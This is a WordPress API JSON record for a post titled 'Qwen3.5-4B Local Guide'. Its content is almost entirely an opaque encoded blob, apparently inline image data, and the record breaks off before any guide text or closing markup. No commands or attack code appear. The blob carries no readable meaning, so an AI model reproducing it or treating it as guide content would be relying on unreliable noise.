{"id":8455,"date":"2026-07-18T03:05:53","date_gmt":"2026-07-17T19:05:53","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8455"},"modified":"2026-07-18T03:05:53","modified_gmt":"2026-07-17T19:05:53","slug":"qwen3-5-4b-local-guide","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8455\/qwen3-5-4b-local-guide","title":{"rendered":"Qwen3.5-4B Local Guide"},"content":{"rendered":"<p><img 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dy11Ut4Vucgj8mbXZ+v6K6uR5MGu6pQwKR070c0UMawz9bWJErBgMjXs762hk+CBw03xDOaRijQIyYL2knAnPzPJVGSiL+3R8NVH20+jWFh42eM8CNcZsd6Jv8qg1y3lzD5wi72eu6a4JUGG0WP+BzXKbL7HdSQNdPG9GZP0sLuOIbS9PxGlh9l9o93Q7DaLLVA59BSFKmddNNtkXRviHKiKC\/nrl+ID61aX\/\/NQjAEpFMUu7Gy6DSgfjylHwL\/Suus1Ku8nVwaUfHbitEp14TqmIfXvlLLY1c0yP\/cEtU8pGyf7PKU9UliSJ89nWiJyuewHQEAiZrlxvGI29h5DAd58\/Jm+ONALfEjhOgOELo0jxnnx3IXROYFmLDZEO6huzZoXHsMz2o3jSerts0RGArXpoSZ\/4SCOb5vu7ji9m9MDUexXsujiOGGcpDao4iIqhmj9jWaRdslfwtQ+bQSU+LWPuYcicOP3F1XzhpIn0SxTysAYgZK2HFPXf+0TIz1SOmubWzSXZvJo\/FQiVcfmrc46Nn2bq+KS39Q3Zz20ANOGvTYZauaopzFmPRmkeNFLEhi1JU\/qPXXgPWZX6K5j19TIx91dIV6Q\/hIbrZgSKKAJV5nQtHfuObeVAdhCvoWwbxx+35pjer14wbYOv5YrkAnG1lDeRYeOihCs6FWy6UoM8arbwQokC84sfyZuktJSIlCWoSz2mZVkqg\/eOcaAiDNzAG\/0NT+SdMXnXHcQDz0C\/TpR8oc6ekRX6gLetnZBrMxsTjDREJgkI2ZljK34K\/fdvL3KrC47TTsJx+aUpI94xBKcRnfAqZvpBNwbvwZcP0uMcZ3808ZIqGyAE38SUxQOXmais3R9HfIkXinEaXPl\/y9ttdi9fiqrLTOKDqPZoc1PbbR59Jn\/J8VIZNFTF4d8TwdebuEfam+YcNUfYrOM\/79dxQU0L5JjcG+JfgjZQqjXJNcVv+2hOqWkudlpDT1yzmCuTT6RpZm2EtfuzJumEKo4wQG9Zk5tXDmg9deeHxg5FL64L2yBBazu1CT4qZt5zmWb4yxgnPuhfnXkmOXwvTABW2fy34mWoNf8IKs4ND\/81zDqP3WHarNOisnvXOszi7qdM9KpDmmapPAeS2ShXt\/\/1F4YtQ5AOx+vTNA6w\/1Gsde0M0rkj3\/gCGC9RS+i4R86HNZBwHPJS\/ahib+d3Q0HikWQGKsajH8fgDsZVxVbuLB0ZR+i\/4FzgN9FDOakNTzrgbYpvfoR6wtzgdscnkMjaoHauRPnF6jRYeTHY\/8LfH2SsXOCaL\/AyLzShyawwvbFP\/3X0lZ7QpkimXRRC5cn7knpjydCCUQZq7IFm4xW1yfHybVNcF35ylIrwjWTda0nWEHOEDlhMbca3dI9nKSLd6iJN0gpahIplyxVZhcY+vWV5mccHtx0egGi55zNmJBWaXIjTTmCRz9JT90Ct5sr3SCaGO4RsdGeYLfoO6KfdsQEbgnsSfAP1rSp73yTTXbg6xgqETqHI8X+6fajc33yO3kYaO9wU3dEBxG226YDUnxME0rJwSMm2TkRFrtupfmBeW4nCniMb8qHDV0NtGwli5e62LnrIEsl9Wia\/+k\/tEcklbMNG88u+k+ufH8nghkM3+xl9xsgu44YJFOO2L8svukrPPGd7ED26CKFlb8kukxvy\/p+Cn\/lHJxIPwy6mD0uXtGlAGeSSJg9nPS+Qb\/j\/BjQlb9YgDKQ+lToDQRI1rRbf2V6jMEWdVHQp1m+AwTcRd51MuA4aPgFz7h\/xPB3Mysvmd8O2hZXeTMwWXJkIE+QhfCTbpvQo2b\/2FpPdVxl74GNgEhZrZWcOtLjdQ2t0D3YcGs8TiOVJOKqNF86qCqc2d\/be9uVdjFqqveiXK1j1NKcyQUhbsrPPe+\/TEeoDSNDnS8mO0ONObFUxXS75MVd6ZF0YZtiw51MbHCAU+49+vCMAAFSlCMDdu4\/GxpOQT6x79X+44vPCqnGiiAJI8ZWmenlpjVsWjQDRdBAo9BgDyj7NGnLwn9Ax+zr52pudwybySMLm5rbQ+W9XN8ho\/Y5ixD3SQV8Q0abpBlCdmn6GLyFuMn8TrTWB9ziY60f3Wrg+GZybpLtHU+HZuDlbaqPdDfIolc9M+Qwgaiouh1E71Xkrwnx21wiF85it6Q1XNqyZICNFp0zaTkv9G8PG\/UyhzmWTL6nzxW0KKKWRV0UwTpQCev5UG5d2cOjjClCjnEVJncEztq3rQodo6dWhkBfbSqLedqe2rtLzFdn08iRf2fSeMCU0D\/aXx85+JHBzejC83vonSQrkNKySgmvcdfeFq87KqmPpiMdjBtjbz0wrRM05SU0OAND6j6MuXkkWFCSCPz8t26NT3F78PUC5FdLb\/mxsMvWZ2+VtFlTWHzWMKz1LIwUZjZUvq3H6KVrDaLcUO2R3jhBUIKGXmOK2t88eHBpIrHF3XBsxydOnSb6u+RAKJmJHT1lKA5ZHzY+AtNr5ugfjD\/w44llZ\/RyknRRcpZ6LBNCeY2DGHF5NauWICOq7YOTCgv7INo6swsuVWZPW+3ovZwt8JmlrUbpFh9Wqx7RNnsVBv752MSipYA0y38wnja2S5bJAjeycvWTK1D1bA3hsQMmwR271g1ZWW+o3RP1ZpWev8p11y5EFxoNlgV+gcQVsY22uvNWxZoQgdJaFeYcCl8XRU2Vy53TJHWS9BDxYpQy10SQ2+JHcTF4XsPquHIGbB9Vx7oQxvSyKFCmSME2UCOa6\/vhweFmNMgHYl8jrmDCKmM740im9XoUgAampt9KFcmJiqXhOvN71XNvVA0J\/ciWUckqGW3+gcHWb54cTcqRvJOy3fThylv8xaCe1sdciWVxe53qlqF3QL2d4VpZhZUoUxbArq02FJDWE1zFX7Zx9QYCytsT6pjwDJNyHsLQZKCmvj863PtmFtq3gNrKflkl23TpHQ2k5u8w74X7UCSZIgTX9jNgGStUAZanb6ABzuSDHtgKAQMfZZJLWg1mFCRfKRYMdludhKCpyZqidlmmoIupycPNiTQyYimR8uv0KYLPu0RDEI4TZxc+LFgtUo+LD2WVh5TaLqv65TPnamR7B0TwJeq\/ybDtW3RaTD43GWBRgs0iI+DsyqgHqwcciGB3a8upfE1icBLNPHwlqXCYoEdD7S+L+xlhdSoyUK3r7h+m2lMPvDCKj03kkjZ9Wks05x+lpQOolUku8kAxu5+ghKVnJ9yk3gn0U59Yal7DzYPCoiZfqs\/Re+1VpOSUn3NroiYAjEx+Uur7NjewWeoNZH6H8mW9O4DHB9J51jLuGAWvP8M1Qm5wHlVpr6WgdVtqGPdEXqbCQ9oiW6emDgbaCJn7m9m4oI3TDobiFXFk7oRZklePEQJiNZC3EJlmTiS9aNWaGP7fHbVjiNU\/7\/bmwHwYjPz+G1pva9LBGY7UK+eDsX6dVDQG5m83PSGatCUmIDzvDB6tQFp4PkI6pefrNFCXaIn6OfaLy0xHQI+bubv6MJ11Xgk4sRRWWu5oS3e9n+8T67\/q2U59vH8fvj8WdLbt1MRrg\/y7YBXPT8SVR1YxwwLjlEfBuISLoZp4N8KHlum+Uza9YF2sFohEqfP5\/5pGAKJdZMeSckWcSoaJnVQGRbhk3pG8xwBPZ2lwmFNiYfaE\/DJ91RY3Kiq0WYPsAeLpZZnH3K95AMqeRaI0VZexkJ3zTFMUwWYMt47iqBDxplWmCUGvX8A8HUd6koMTrDVuHa1Q5NXW2\/nY5\/zJY4MhyxyXizpVHLAqQ9EOgKoNMcBy0Fvx8t3Zl3pJP+M7S4\/0tBseQ30s71CiMuSe2kk7Jq89aJZQniM+9hifhjQPlpATQgKm1zSXlLc1JSWkEypzmmp8kL4ivdcOI0ZdOBSziqUFHZMoQ4PmZyG4zpvBIsfd9OrTa3axKAse\/nMPqC3KX5hMbVjn\/7fsPvzvfn79+WdYQAntyuLlzQCn9s38dafJy0OIFaKwMBXiSrhz1KUwUYlmyNpE6Wfbh98dNClpdtjQ\/Fxv1NsNYHGJ08AKUNwLr4z5JUsxjJLdgwMh\/CJTp\/Y3V8AgkG6qsDNzd7uJvXzxVE6aALVS7v3CS\/Uc714tdHMZVoh\/wcFTkdxobFzH6atlLFLqJp\/GKuAXHzt4Fj0uo+Oz+kKkR9Y3tc6+0JcIZJ5sqZYV4WVHgPHZgshh9TsS8mV1FBMzpKmKQAS4y5VrIOquoA77AAcHa1JVkO5Ne8ZzX8\/ZzIRghsd5rkdXkleMn8OIxjjid8P+pAEonOgawhjDItHeU4eaTZ5Pdbp1p1Ti\/KzlvrpIF5Ii8+XmxVnTlcMLd\/9bXMbzoefbvz3xOWUwoihFlzos6Frf5Sveowe7gY5d\/+aOr50l9Cc3LFX4e9OOGoe+DREQpc9b7KeDrqUx8TGSDzEs6\/BPuHi6B62zvQZ0yVF\/iqjImhmts6QtY7Ed0q+4WWaUN1orM+D4D7r6ztJDFnxbYgFD0fcFHNOcnJlCN9iOU1VZiqxGXbO\/ejjtwG7OIlJy2y7aydqR1mH+tFRXOjFqXRepa+O2JldQxe1rjxLJOlVA2IgZsFmV3MCd5dXp4L3GdGJTF+E7hgMyFqo0vxJWnsQFnJV\/KUkpB03RyyotvSUrkg6\/klfpmU+Pb9HJjLUEJ3CoAetBa8zlbYeN1lS59CB5O3VVS2q+85R\/Wa92zD2bdoXhTLfyiiwISJwbjr5g1ADaLHkmhnINCgusgXikIf1DV+YYb2aBgPeaSXPLId\/EhDdyYwcMyUX7scw\/0zuxJSl2Ud74rRpqBGZT1XA1UzrLSu3KfrIwxYURI2\/zt+pK\/FfVVY+gmfL7kIruK+7AnMSWRipjxR7UEPEen4pYjHjx93AeYYRNsqat4nYuAUYdnmy+da3NYrl\/uVrY16VLzweucTner13sbyh3xAiGKhAWci6azTXz2E1Q4aF4X9BQaXTst3UT1IkxBvDaVXkraAfJXBcrGyPoR81+V200xRivJvnyiI+luU4Bmd+GMF4cMbkJfqTybIRJ4q5eh0IwYXMwi8B5trbmrKP\/GdO+8\/MxtzuA5bTDVlP7s4sU8CVYvjyjYCrMjg4KZF4FAd9CS1s4iR+RLAx7YfgjddFi8g5y\/f3CflEix9rQ4kJ31FkLuP\/\/CvF7lQnLaLpgDFggF8L0nUdV5WGQSPJtI425nJT5dgZVNG+L6KzyPXdbVEKy6Ak\/Lt02Gzf8nlK4gTTrWNx1t+69fSycJEGJMmoPFOaGWnQTiBEeXttJVsB594t6U+txbuG\/1Q592HAkZi9WaSdS4vhbGAyr8OymG8STzZocwqzMj62aFaolklmSjplz\/E1hU6SpRApQPp8fNhJVyNzHLFZ4fhAE6Cz7nl\/Srl4+iwyq1RhHlYRi9OivmyehzIh5gtC7UTXDpG+td6a6ebTJBN755A+Uh20i3SLpAJCaTFFYjh3h8AddGUVA2xydh+ulDWCIvlAivylHh6NF3QaXB1y9lUNZdmRGJNfa7+fYnPYiaB6I1m4sfddL5hWvwP1NO+Drx5R0TxpVi+57TuosB2WURgDm9JHe5zdOUJVrVKMMEOun7CAIcBgrnxMacFJZN9vkkZY+Tnn\/ulbJ0ZnMqz3vERhpJAieKqV4D809AfRs1ZSDPCArwIfGN8g2uY6eiZxXCkXa2GsQaMZzQJmCR5E0lNKIROpBDkMepjKHelsdig\/HPZcq5WfCB1Pcin4EDPQSTbOXGhPe++h4eLxVFUyjYvcJe0KOkM9Dpubambluoqkbqdbtm0hWRbT2asLGzqUWLKXkqr0hQoLZR\/52q5TRBZAgTbf5NUFkCJWkbGQU9IoO6t4FjWH76Pfcdd6RBBElv4ka\/32XnPO6qB01PDXhSr5trfdVpt6x7NRR8n\/aNQO77U8lebhSNofZ3gROJH5q1HCUQ83uQGGjrPcThxrmyCRWItxjKt5WRx55DQMnudp\/PLogcWb6qDeWf+PAwhI48c15he8nj7gP5Eba8Qlvj2Kyph5e1cotxdUX+vguUqj+2+1Cod1W3kx\/wfbdsQpSZA77QCEfqvIzGGvqIT2V237sKKRoIOf5wBrYSoVpeDhWJuCg04tZtBM37AiiBrVqeGY4A5i84110JdFzNvZ8tZEgge\/f\/hdWxbgKJND4tetnSKlUcq9Glo5xrpCErmh7xgcILji+UQtKBiqCA5AXNeUR9cfuxVKE02c+qjB6BxJi831NklkiVMCIgNMbJqWWBPGwTy6ok+OUrdaBX82NNN+iliFJu+jIUy8ZhYEcMKfUC2BpP6H3dnXMAw89iFaHqDGiMSDPI9UFFxaoPNJgcHqAMFU7LGQXzIO9g1GewEWUv0GYKOVtT\/zJwlDaskbkpvWQA3wqJ1Y2SlZYlamwQyd29DwRUPVy3OMm5mX00mwSqZ8cm0ze358+1K9XsJ4xDldWXZKH2ZKuteJ56AbgSHF5VJ5FASYls02V2PbqqChpTyEIn2S6KAvBzh3MPwVBdOqTKHjYAGl4JvGbQ+9OkfG8+2J2TO2Zs1xD9UygzVKqu26BLnXp6TCJvk9qPJkeMoQpKZpVTnf744tpDXIenklA2E++ESTYDV77RPLWnaJPywc4j06xCNgYSgsdeLwzAgEJE861wxH+tSHEiM2XO6xAw4sQpSnEUlAVrJ3fzDtPj8u92f5StNjqpghLn3LhjjgnYNzefJYaVORGTC7uK6JbWGYleDsBZnzjhVCTiPxtJiIcSIwXup\/5YXw0n+cUel9hG5jX0zl5O2hdZ7Vffn\/fcCKGb1D1FsJdJ5PTn5mcnZpEPyrkLfzrZyPed2IRup5tJRkpfvKlVDxXmowH+mEUQtVTwFQRvvu1q\/q3FTHF4XvqwhEcYOw9WiXs2vVDNSlsMN3Bt6Cj7zG5saLRtr02e7IrKUnEJHUr8Dfs1OZR+p2uY5uVshfZasdGDrnvkbgxuI15NlQrk1uMOKTVfLn0prK1sa9Kkw0wwqzhti3AUSaH2tBdPmBADOjTUj6BUxJniP5LsMEY++0R+agMSOZJATP3vOn\/8XVMpgNaHCbYAhte4ySRVf+1YtlXfQ3sLGcVr\/pMdXyPvPPRwQ+7EkhA6dxVyNFgABfD8psnsQJBjRz5yjFomjEDUG3wCppNTmjMkFUXTeVWuri04\/MqFl\/mMt7dW+wDgG\/wYgNk\/9wgS4ULfjPNYkyxJYopqlBZRMGm+DyD7PLWvRDqGOSLOhhFFltxy10wzY7uTJSs6vaYH9CwJzTFxe6bEiRdhrDtpJo04lZ9ONgLBZH2p7UDLImSfIKrnCCOtzh0nKui7V+n1UMqEqL7G8NmKXKNa7J2\/6wb0+ISI4l4XN1iBdSyO02f2nAOlpdZzPAI44WxeDeU8JR7PKNcMShGGXXA4xCen\/QwcELOojIovNcKG3arGXXARbJ2b7FjpX1fPbRmXjTEVIlCZOt2eUpVNjagid3WdlJO4+Dv8SST0dkv4FaLHBLHK\/ZZB0iHjHd0hfg4wiGHGcEJ+9SaxsZfG5W0pkqOhfkkfFM7+dovaqKKYQI3sGnUPxh\/YeECRU6SOI+PJT1Z+kiryeN\/K9IfiToIw7qIihQ3aa0ewkv\/4uqZoYaAd6bQ2LaWO4FEPF0dMuUE0ilDqlXqFBrOsrBwGkd2tF84bRLuCU6WrzYVZtC\/HaqbSh82ZYBcgVDqjYF4Jl6fqBZaCvh4SHSJJmFeSUWqNZ8IWTB5XCekkHFDr6RFZO8aLzZrsmBN\/VeqjjEKECRwQQfWY2jKnuzQmJfs2Us7kcTrNEjZ8JLb+knuOvAiYgUxwbo4vI4pr+crdUKVR80PTGQdy39eBdR84bz1a2fLyV2y6rY\/sVBUJpe2KV7Sjr2KjurobtIW+GFmOjRrJyo+de24I3cO\/fzPNAX8R85AKJ\/1ZPAKbetiLC1p44pJzK7zCSeaqw7IK0i9Dr3IfRvLtIq6NCVwSa8xqkQdNlPFEwl+UyssBG\/2+INqQ0pHDDQ3r2XzDMjK6Vm1nub448egVTmSZJnrsVcWtSQ8RJZ+NZ0PAVymsa0v9LAwJW4Rt7hDhDTCASoppYVdYFzsU84o2DdbDm5y5P5qkJCf3vhCJsBKDLR0n\/kIt7incd7bJaumGSAotFNfeEX8v1yiHdKLddKfXcplpzvjpcOUhbZ7Q+7PDz9MJYn6xgRPsAbZcpKIeTN6WxXPAnhnCKpVTb2vgvKAZk61LLdeLBJ9cqTO8hikmS2FOOSA30FoREeIc8JO9\/8S8xACAoVh8Si4MMbukKFXJJeD+3sMwgflNzZGmyVRd9rlNe1u6FsIa3Jl+KXCVDnwvzf3YkPFUWINN1oCcnumi7EEsI8cdJw9ko2R6moV4oSgGvDarJ3J3KtXvDbEvphrrfgl\/aimBbh1JB8wODXEp6VfM91pNUy7vjGz5Ynu6TmuFFlGy1fJuABiw7GYz5sn6wKIYhUlFAI0CKpQxd5vfdpXDdp8kF114GIXzChfT4W7vtSajluhUrINhWKANRP6r3ImYrm8L\/l0civXjUXYg36JuFfNdqxyB2fmV+MOV7hCnMdcaztRsX5180Au5BhLh+C7M8NYh5nCMS10BTGIen3bHUhn8q8oq6d15hygdxX5F52D4k4e5vjT+JfrdQcdqUTTIgS29YfR8W0GnsdjX16laryz3ZrojbY2aqLSD2TM4vHHU9GbZZ3BaDQBNuAbDr\/nbjbMr3fzLuf13iMoRBw0vj3EHj5JAmjcRv5hcLp0anExckiAosxDJK15QqMb6esWmN1bd35UPhppfRc9bt+acPx3EzbLhfbJdpjL5knFOsdheFS5DzDCW5r285C45APgTtDgKSvaKj0T8pmiqaxlc07Cn5J5EIPx+E0pjv8tg5s4iLU7RiezJXOj+gkRVrGjwVSxWEgiIyH+i7OXXsjzBpHZ6fQA+4z85tlWqxGTolCoHecvGwEdklKeFJVonQRH0+bcMMQf25HRG1byWFs3YzFQJRtyLwpVhko\/CQd2Q7CFPRWu9ud0Myve6jYeeOpN52hFKneL17SWuWYNLj8Hk\/mvm41KITd2JE0uT\/NLQvSbjEjgF9onWvn2YSuAvbE1mbgRYCN+JFqzzCRx0XttovNMja+zdKDRXy6wqYUgLZl9ubu\/qUFs6ZEOR54fEQYiFf\/NC3FwZUdE00Oe6n0W2my8OhEauzr4nI\/z2lPki0QZhlPS7PG\/2r6HbbyMHLtPW\/NSsMOWQ8w+Sh\/fWsA4ShN1FGPihzEULfE6AP2yR66mBLFfIizHRvqvco7YF60J+DrCsZBQCGEbzHkQJVj02VfF4xcy1yVxk1rmyNxHS5vhXN5VvI6OfM\/eDzOcu4ONnNeBNo+OGahXkzyfAEjJEbsbGtOUzZk55u1CnA0mvmgUH5yhoaL5MPeAMQf9pS\/\/7maLnbLbnSRpv7q37zQXELnYwAGlGL\/2ogQAQdZ3YGOlNZ+kQ9y9qDhylc6RZOzighXn5FyvEYT89uXe8HZMrMWmh5Zcp9FDvhLdXApQGp+hgfJ0rVkN\/3CGR0wxsy5f4Isact+o6oN5AoF0KIRBu3c0psxHuI4NFcglunAhHrDbr6hGPdQdOc4fiM9NRpJMsGnN9qx\/Ufwcu+TF+MDwDS+fZC\/ml2JPcHgul2vvKalJXY9E9ABiLXkSPvBI7vZXU2kbh58WyjnssMDQz\/96kACxxxhnFDZCzPM1B+SQajWgcDi0h5EkYSiuG4Y6NGneufSDGVW5TkrPNYD6InWBXm+\/LO1DcLzR16IgjxJbk9sVfQgGS7ntJdJvPBExExbIMtmwn2Zqt95cxsT04nS79ozJYa3ONfQn3\/vo0ONbV7\/v\/nBSRQNc1waTJweGPaVI3skm2JGJxjYvCjf5QsHmRFGvHIZfha54EfuRQTP1\/PmEAj6RIf+yh8y5gTWICbdQ9yuhc1YHQr5T6SVKsu7nB4Lq583\/YFcGJnu8FcQIe+BDKdbQgKMpTQPKt6zQw75lrBNEXRSmX6IJiBUv5v6BZ1OeOJebg4\/Q7h2Ws1vx3QrmlyW8xXw8tC\/jE7c6oxeHWu4ac+VVeMfGd5T9Ru3ccEgp+q6FiUpcQSCBSSWL6ZyFp8lPLCvSANpUNoIAP\/FulVA+w7sSsSCnwFLUr3WKQEkVJNNAVAciWSTDVPanUcSxZrbr+TLbXAevq47OCExgrUghhHNJ6PkxVzCxMLyUfrUTDpefmhn4MRLVgKFTkOD2TNuSUawL3Y0Ocaw3Rhq7xPExsYnDk6DIvUv\/OmCVr0hpawaaV1RJlu2lewDw8can\/5Z6\/djpL93J3dUShiGR6KDtAPJJZwmUC+d69aSBNhC\/nFC8+shwwBZ8vf40KSMYR7fxV4VkSl\/IcieRfWwpSTiTfRSCGfI8aXmEaWkFgpJNB\/sQVdf3s5U7VDE9bytv5VjR5kc6KCuywXI2iwH80B8MwBE\/hbjzYTNKn\/ApQ8vT8Bdra2LTPuxH\/ESrfT32Vz0sf9XKuv48yENjaNTVgbHf059+1mbQl+r3bWq0b0L3HA61208QBSjrUYj69aZe8CIapANq6zzxbhq4B660lQEckQPkquDnGfooPxCf3MkDRX1PGsIfv1eo1bUL2vwdbwB4MPw30RYhzXtBY2M2RA7444SU9ea8RdkvB5LHJcWPQpbOJqHE8Tti7A+3a5xT413MwXPGr8c7ffCshP0sNY3X8Eo2K1KR4V9fCJGvSPPjPwLOc72atRJqc5cP3xxFmbUMYtohYhVMSDKiTWC4uPnylCIh1tKpePKcjydg4WTKNs1BlBXq3yL+hCFYQNfPAnYO3RDTOXWCEyERATgTaPtDX3IIToXBLiYwyvjStc6lw583ybnmMLbpLTLPz6jA5kv8SS3z6k5AjaVQCso22pvyI6bBuwV0JnMtWcPblHK\/ZSmeTXkvE8sRt6EeUhlh+t3XvqyKqeERTCenvil3POGgK97mNYdz\/oSPQ23o9v+AM+A2Z10\/68ryHvNpD\/pSDGE\/mx5oIDscX6s35KyKg0R1J8wAeVV25jW4OtapHrRUdKyZqqHrLhpbk+eR+mU7\/pEKDDovgQGaZs0eL32pAK+Bb5MMUBHx1fQeQtFkefwWJzl0IMYgBB0eqcQGeerV0RdBom6dJ7\/4glT65ThcfkAaVErsqNxQ4onc0e9tYrkdapjoy1s\/2kJA+AbBbK0fHM+VZnV1OvXSBB2n5yZhEtvRm7tLrPfAMGnYDwFi90DfHCqMgsZkz2a1A53AW+fEVI6U\/055fi\/wa9QK56Bs+EMjjO6AEPNb4bcrQYCuEkB3JiQmfRvBByi8+eV9kZlHhVjR5iJtW\/DIOJYjG\/Nz\/fN72KJxJbSKU3wZ2o6M7uyMMCOPjOvXbWhv8ubbZAge0HdSDmsFuLKpAtRbkppE1X+FClkgURRYtPV3tgZW8bpNHGaDLE734t4zqP6rUdwFK4hhXg\/Pu64\/KXxp\/zOzIIPVxNYlW8HrGAW7RUAlaera0ccGci87CG7oOvR6Tb+RNlN1djKSnOF34tBa\/43\/kd2IYl7n4rWz41YeefwcaZjk4kZiOVpBJXVM6+NvmbU7XUANP0PyefgBmyaUDTwPzDRKLkHAVhBdT5eq3dyRBrNhd4x51WzB7qZpT3NbPgNhRtgAyRK6OcO3Bc+pmBF2JbF62mgND+tFADFf4cxJunolmgj\/SkVhirjTNxTtM+WYNd09T0HdEJ4tVDO4idlyquNZfxlrdQ0RPaYCeny\/XXw8BkNoMwpfoo6\/IvYfM+a72HLsbPnRNigRI7rn5yN9NrxFLt6FLeKZyLcKoLWzjuXVH92LzTxKrKNTjJA\/jF6K1qo2\/IH67MFd+4M4sj8+cc1N5EWA1z5L0Cos6H8WvfWmYSD7UmQ8cXQsnYts2uVLHyy\/v8R0wrmv294DuQCEh2fxPz9e3XjML1+fYVy692zXgS+ira+xiGMuWUuMmF8nzZdFmrqtpUuXdCNnRmHjPee2RgmdmvdK3PCDQwgYcmS+vVAGXTEtUWpclRX7fXwsN1t4aPmsT1u+f9sKhL81q0z02w8RmAABbQShgDfXY0pIR4NBmGm9rSlm0MPoqr0KHLBl3FnenkFmq+Vh8w5S55TKeVS9CdzbDZTM3N71qyMpXGEcbAw56PuNGUZpHxj+wr\/3rOQDVbgUaXWYhTDSk6OsMCACfJyUmUU66bNDCcHI\/Ub+lzVXyWICrAThRX+Pfeb9TmPqDlK69sGbmJfNRPcry5NG9gloYldhGopOMfm4Cv1EO4mK+epTLUv\/lFSia+w+EXxDV5cRx8m3ZOI+U0mfL5LCLC2C8w+wtCaEY7Tuy6QcgqNNQiYWyaXS+LmMSkX0+sbWDj7LCJMqnxYMVlu3PAjXm1QICi1ZCrURTg58zKwj\/E7PscMcbR+GnZLUYiAnkwS1xR0DmUriT4ijccAQ6u5Yx3Sitpt59PqFqSE77KjtfJ0ljErXnRsYg5e4vnROsOby3Bv8BQKYBk8e94w3LNXQuLjxdxBsxOowgtVb4LJfMZNozmZE+1+oxWyxv2BN89baAGyzV2eg\/WE8cMb+IQPZ3iLMSM5t\/gvgo1GlpX7t7I+Y46foSjpBakHt8LgymX6tKC\/LdAUxfj7fXZE\/\/GsK4w\/eFyFlVRLByEEAoqr1es5gVq76Zl1KlEu2C+bvIy7Vso4+cu4xeXGSJLse6s4VCWIVmihjCkXUPpI+PtLX6fCdAYFjn3lzNoxMJkAdninq4pmoNF\/Pc1v6+mnZVzs6nxpb\/SWZaWOO8vuXB4r5C9hCez3Kb2Jomx6iweIfTvnIfYQQ4A2Z5lMPuzleQAJsX6OIopHTwgxEeEAiBz+SicWJqb1m1Lxw7kDrPH4H4\/FwE2VagDmPVRvr6HgBc8wIkx9u8pjQ2QF4U8XnoQlm5x\/wy1VRJdgy9bgFVV0dxCZZXPmjds\/ulTYA\/I0kxZ11h6oDWZtCjDpoQNA5E11efJpnc2jZw\/IyWd9+I\/Wt\/M+XEDhuY8z24x9EkZTXoav8OaBueWjUKRJ9OSYAGjSsM+mFqJa5BVMkLSAvGWkAAs1QqdolgT9c36p6V+5G3xCpRYP6+XydOvjk60evnTardmfb22O\/pP\/IeqNDJUZZkehKK8eVieUvQXhvZvqQAnjf4H7ZTQ0gCnvThpnw0UzOanlr5B4t\/AbaQ8LMgPOf3KV+d31+9kpAgugK+ckU1Qaqp0+QPKq9xImSJLLNl\/aPFdfbtYPzDkh5EQhIv6fEZHYecXsgodpu\/+r0kwYjko7EZ\/Dnr3l8B291zJMRpMUG81QCmfTRiKyyKc+Q4Q8n6YbJKmnJM6mBF7wnBn4TBTyHCElD6Zlv9p8otXqeHpuQRQqpIxK4BQu1m88zLBS9BQtb+\/1SPZk4zyPN+fwIiGlcKN6FZnHPduNsr0Jlql7IB5xX0Dkof5aYXN49Nn7Sn89QzsoEB9AGNrxpQoDkBg1zmXBEoqX397tpnHjTqAf0+VciTDuaZ18vSEmAj33WAgfcG+2Wt9UOXA\/MNszQQKTXyKtsjwROpuWk1hhS0H2Y9S8d2zinJf9i1w1+8yzLbNbUCN0PRDAv27CoyvyFIFvX7PpOzqCyFxQGl0iN8Oeik2z9aoQTAC8Wza8VjY9gsv0Q0L4fXQYM5eY2znK12kdVl577UQGCmFX7uQwZKF1ujRkja4QBOfi4hRla\/\/SoUxlqnbz6va1X2j2Xe6F9Gvbw43ixa6xHquqv\/SLnbDDypZC1Da+oiFEHRgLr2cDsWzv7oYbOd1oEvz4aYB\/Pvz1MXgxT65jkWS+Bnh5RoyV6occA34vFFXhbrD5S\/ki8yr4lnhknoup66pHnWz1BVD7OZbE0T9B2Pl3nXohzC45sx7bZ2oFlStPe10VZggb+FKYoMAweYk+I\/5rkzJVSTHVKPBj6umRvoB96bwK85t8wgWj76kvn+BgFhBJ4M15Ojl60j6NfoV5RfhZgXvBzUIubA2wmiKccPVpONumITECt8uJU6FaSA\/PJLwnM0e7CIJh6Hy3XVa1XoKUBGft9\/IKhxgHpMnM1MjIAA9UEoRFTocKcUkcut0uD3Y8Ydl9rgNFE9OlUS79vKEaC2lCpvH0oKahcmUYvdYNg1Cd7ve28MSUKIB\/k1OU8rTxphhK2\/GbgW\/6JIk+W9TMKdB+VhSgZnrJVR3O0v5eAm934tXimAnRgQkC7\/V+2Cx1YcKZy8Bzm\/sZRPgikF7jWw1fExm\/+PIJHFK0aRflGG+CaStnqbpcSLpiCCwVo53\/wUc6mZtlvG9uGZbE5lzkRt0eJuF8R2vu6yyQKKLFRnABahTHYdq+tviPPgzJ8qg5PBUqpWkPjg89ap+fsMieQHPrhms\/CImg8r7FFMclhdQGWLuf2zqvZsa1A84prcS0YckKs0jNZxNyjpJUQ8Lr4MZMfzRaEB29zAFfXQhcehRc++HQZpCXRGczv3kGnD0rnyAzwzlzrOPXoXcIrUETKFppalD01AM6YgSIEk\/267Yl7W+apff+PM+X5Vf9Q8Fvg+2hdWZ81B91TzCRJGgrWzpS6GOdmETiE22Yhu3FTdR6lNfRWhOUBnmCyAG8q6oRfnmRruFIxMomCi60AFTPiBM50ZC88lbNopdwIvJ6iu2lEREnWZ4b0bpTYbtW9+G589fM7efWladnzViZSRpNzIzT+7zUzMTQedrLhgiivuw34bfyQVtCABDQZbONJ3wZ4zTmm4KtbkD4VcmiPmfvZuY0loTvIdUsWVpLFDrMyI\/YjC2P6eUZRiy+2VSOigFZ5+HcAPvipXHuQirmjFS8BkiEPMK0awdA+reS9S13AMK0dACW6Dj8G\/UCibq8QcSDjygWcW+YgAINwkpdkH5nj8Q6KgHh6tk1SuEoJyaNDtmz0N2UoryXMEgLrgAAAABolwpqUPBMT3ISHYDbqOqBhIEXFgON3iwH7CsfCL8gPwZxEb6rsDCnwAySGW36jfnmoJ\/SRYQthnnGbUV0t1LueobZz8gugt538WtFEW\/jPjnSV4jEP+wCTdHL3LuFETHiSkJrIQNFhiAUKON4x1G2ttvRzrNW6nYb9DBI7LwO13ePHObVAcJfsuQvc1CV7t52+\/DGQ6cnH6kN7xswNUShVPNHQvR4JISFuZT7RRks+gaq4O3wvgBMpFnLzpSqCoSdFjzEODodOVFcmQ8jo\/nGZFyTxTYcGEBB73p9d4ubyvxU\/bHnOiuGMF6HpVXXkgiSVkr6+F2cS+uPmWmQ2MWRD8BCW0wtOxUcphqawhOS0gloJf+L5UbzmXKNYuzcJ5eZD98pNsXMtJq7flhe+nHV5+NBXgGwcZTz+KH